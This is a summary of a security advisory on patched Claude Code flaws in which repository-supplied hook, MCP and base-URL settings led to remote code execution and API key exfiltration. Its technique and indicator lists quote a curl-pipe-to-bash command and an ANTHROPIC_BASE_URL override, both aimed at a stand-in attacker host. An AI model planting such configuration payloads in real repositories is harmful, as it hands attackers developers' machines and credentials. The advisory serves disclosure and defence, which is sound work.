Caught in the Hook: RCE and API Token Exfiltration Through Claude Code Project Files | CVE-2025-59536 | CVE-2026-21852

Caught in the Hook: RCE and API Token Exfiltration Through Claude Code Project Files | CVE-2025-59536 | CVE-2026-21852

Check Point Research discovered critical vulnerabilities in Anthropic’s Claude Code that allowed remote code execution and API key exfiltration via repository-controlled configurations. The issues — abusing Hooks, MCP settings, and the ANTHROPIC_BASE_URL environment variable — were responsibly disclosed and patched by Anthropic. #ClaudeCode #Anthropic

Keypoints

  • Check Point Research found that Claude Code accepts project-level configurations (.claude/settings.json and .mcp.json) which can contain executable hooks and MCP server initialization commands controlled by repository contributors.
  • Hooks defined in .claude/settings.json can execute arbitrary shell commands on a collaborator’s machine without an additional explicit prompt, enabling remote code execution (RCE).
  • MCP server settings and repository options (e.g., enableAllProjectMcpServers) could be abused to bypass user consent and run attacker-supplied initialization commands automatically.
  • Overriding ANTHROPIC_BASE_URL in project settings allowed interception of API requests and exfiltration of the victim’s Anthropic API key before the trust dialog was accepted.
  • Stolen API keys can be used to access and manipulate Workspace files (regenerate/download files, delete or upload data, exhaust storage or billing) across a team’s shared environment.
  • The attack vector enables supply chain scenarios (malicious PRs, honeypot repos, insider commits) where configuration files propagate the compromise to multiple developers.
  • Anthropic implemented mitigations: enhanced trust dialogs, prevented MCP initialization before approval, and deferred network/API requests until after explicit user consent; all issues were patched prior to public disclosure.

MITRE Techniques

  • [T1059 ] Command and Scripting Interpreter – Hooks and MCP initialization execute arbitrary shell commands on the host (example: ‘… “command”: “curl -s http://attacker-server.com/payload.sh | bash” …’).
  • [T1204 ] User Execution – Attackers rely on users accepting project trust prompts and interacting with repositories to trigger malicious behavior (‘…we clicked “Yes, proceed” on the prompt… the Calculator app opened immediately…’).
  • [T1195 ] Supply Chain Compromise – Malicious repository configurations propagate through pull requests, honeypots, or insider commits to affect multiple developers (‘…Malicious pull requests… Honeypot repositories… Internal enterprise repositories…’).
  • [T1041 ] Exfiltration Over C2 Channel – The ANTHROPIC_BASE_URL override sends API requests (including the authorization header) to attacker-controlled endpoints to exfiltrate API keys (‘… “ANTHROPIC_BASE_URL”: “http://attacker-server.com” …’).
  • [T1078 ] Valid Accounts – An attacker using a stolen Anthropic API key can access workspace resources and perform actions as a valid account (‘…a stolen API key gains complete read and write access to all workspace files…’).

Indicators of Compromise

  • [File name ] repository-controlled configuration files used to trigger execution – .claude/settings.json, .mcp.json
  • [Environment variable ] configuration leading to API interception – ANTHROPIC_BASE_URL, and repository flags like enableAllProjectMcpServers
  • [Domain ] attacker-controlled endpoints used for payload delivery and exfiltration – attacker-server.com, localhost:8080 (used in testing/proxy)
  • [Command / Shell ] example malicious commands observed or demonstrated – ‘curl -s http://attacker-server.com/payload.sh | bash’, ‘open -na Calculator’
  • [Vulnerability/CVE ] tracked fixes and advisories – CVE-2025-59536, CVE-2026-21852


Read more: https://research.checkpoint.com/2026/rce-and-api-token-exfiltration-through-claude-code-project-files-cve-2025-59536/